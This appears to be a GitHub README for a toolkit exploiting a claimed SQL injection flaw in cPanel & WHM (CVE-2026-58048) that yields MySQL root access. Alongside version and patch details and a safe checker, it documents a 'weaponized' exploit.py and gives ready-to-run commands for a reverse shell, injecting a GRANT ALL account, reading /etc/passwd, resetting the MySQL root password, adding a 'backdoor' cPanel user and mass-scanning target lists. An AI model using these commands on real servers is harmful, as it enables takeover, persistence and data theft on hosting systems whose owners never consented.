💥 CVE‑2026‑58048 – cPanel Root SQL Execution Toolkit

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

---

📖 Vulnerability Overview

CVE‑2026‑58048 is a critical SQL injection vulnerability in cPanel & WHM versions 11.x that allows an authenticated cPanel user to execute arbitrary SQL commands with MySQL root privileges via the database rename functionality.

How it works

1. Authenticated access required – the attacker must have a valid cPanel account (username/password) on the target server.
2. SQL mode manipulation – the exploit sets the MySQL session to ANSI_QUOTES mode, which changes the parsing behavior.
3. Database rename injection – when renaming a database, the new name is not properly sanitized, allowing the attacker to inject arbitrary SQL statements.
4. Root privileges – because the rename operation runs with MySQL root privileges, the injected SQL is executed with the highest database permissions.
5. Impact – full database takeover, privilege escalation, server compromise, data theft, backdoors, and lateral movement. Upgrade immediately!

Affected Versions

• cPanel & WHM 11.110 and earlier – vulnerable
• 11.111 – 11.118 – vulnerable
• 11.119 – 11.126 – vulnerable
• 11.127 – 11.134 – vulnerable
• 11.135 – 11.136 – vulnerable
• 11.137.x – vulnerable below 11.137.1.6
• 11.138.1.6 and later – patched

Patch

• Upgrade to cPanel & WHM 11.138.1.6 or newer.
• If upgrade is not possible, disable MySQL rename operations for cPanel users as a temporary workaround.

---

🧰 Tools

Tool	Purpose	Intended User
exploit.py	Full weaponized toolkit with reverse shell, persistence, UDF RCE, file read/write, database operations, proxy support, and mass scanning.	Red teams / authorized pentesters
safecheck.py	Non‑intrusive vulnerability checker that detects cPanel version and assesses risk without executing any malicious payload. Generates detailed reports.	Blue teams / security auditors

---

📊 Feature Comparison

Feature	exploit.py	safecheck.py
Vulnerability detection	✅	✅
Version detection	✅	✅
MySQL root SQL injection	✅	❌
Reverse shell	✅	❌
Persistence (cPanel user creation)	✅	❌
UDF RCE (command execution)	✅	❌
File read/write	✅	❌
Database operations (any SQL)	✅	❌
Proxy support	✅	✅
Mass scanning (multi‑thread)	✅	❌
Interactive shell	✅	❌
Non‑intrusive (safe) mode	❌	✅
Verbose/Debug mode	✅	✅
SSL verification control	✅	✅
Custom User‑Agent	✅	✅
Request delay / retries	✅	❌
JSON / report output	✅	✅
Endpoint accessibility check	❌	✅
SQL mode leakage detection	❌	✅

---

🎯 Use Case Summary

Scenario	Recommended Tool
Blue Team – verifying if your cPanel installation is vulnerable	safecheck.py
Security Audit – non‑intrusive vulnerability assessment	safecheck.py
Red Team – authorized penetration testing with full exploitation	exploit.py
Bug Bounty – responsible disclosure testing	safecheck.py
Mass Scanning – checking multiple targets for vulnerability	exploit.py (detection only)
Incident Response – checking if systems are compromised	safecheck.py

---

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-58048-PoC-Exploit
cd CVE-2026-58048
pip install -r requirements.txt

requirements.txt

requests
urllib3
colorama
pymysql

📋 Parameters

exploit.py Parameters

Parameter	Description
-t, --target	Target cPanel URL (e.g. https://cpanel.example.com:2083)
-l, --target-file	File containing list of targets (one per line) for mass scanning
-u, --mysql-user	cPanel/MySQL username
-P, --mysql-pass	cPanel/MySQL password
--mysql-port	MySQL port (default: 3306)
-p, --port	Override cPanel port (default from URL or 2083)
--threads	Number of threads for multi‑target (default: 10)
-o, --output	Save results to file (single target)
--log	Log file for detailed output
-v, --verbose	Verbose output
--proxy	HTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
-ua, --user-agent	Custom User‑Agent
--no-keep-alive	Do not keep session alive
--delay	Delay between requests (default: 2.0s)
--max-retries	Max retries (default: 3)
--ssl-verify	Verify SSL certificates
--cmd	Command to execute (prefix with sql: or udf: for specific)
--inject	Custom SQL to inject (overrides other actions)
--reverse-shell	Reverse shell IP:PORT (uses UDF)
--passwd	Change root MySQL password
--adduser	Create cPanel user (USER DOMAIN PASSWORD)
--read	Read a file via LOAD_FILE
-i, --interactive	Interactive shell after exploit
--verify	Verify exploit success by attempting MySQL login
--ping	Ping target before exploitation

safecheck.py Parameters

Parameter	Description
-t, --target	Target cPanel URL (e.g. https://cpanel.example.com:2083)
-v, --verbose	Verbose output
--proxy	HTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
-ua, --user-agent	Custom User‑Agent
--ssl-verify	Verify SSL certificates
--timeout	Request timeout in seconds (default: 10)
--log	Save report to file
--json	Output results in JSON format

---

💥 Scenarios

#	Scenario	Command
1	Quick vulnerability check	python safecheck.py -t https://cpanel.example.com:2083
2	Detailed scan with report	python safecheck.py -t https://cpanel.example.com:2083 --log report.txt --json -v
3	Reverse shell	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444
4	Execute custom SQL (root)	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --inject "GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'pwned'"
5	Read sensitive file	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd
6	Change MySQL root password	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123
7	Create new cPanel user (persistence)	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123
8	Interactive shell after exploitation	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i
9	Mass scanning from file	python exploit.py -l targets.txt -u user -P pass --threads 20 --output results.json
10	Use proxy and custom User‑Agent	python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 -ua "Mozilla/5.0 (X11; Linux x86_64)"

---

🧪 Endpoint & API Usage

The exploit uses the following cPanel UAPI endpoints:

Endpoint	Purpose
/execute/Mysql/create_database	Create temporary database
/execute/Mysql/delete_database	Clean up created databases
/execute/Mysql/rename_database	Vulnerable endpoint – triggers SQL injection
/execute/Version/get_version	Authentication and version check
/execute/UserManager/create_user	Create new cPanel user (persistence)
/execute/UserManager/list_users	List existing users

---

🛡️ Responsible Use

• Only use these tools on systems you own or have explicit written permission to test.
• Unauthorized access is illegal and unethical.
• The authors are not responsible for any misuse.
• Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.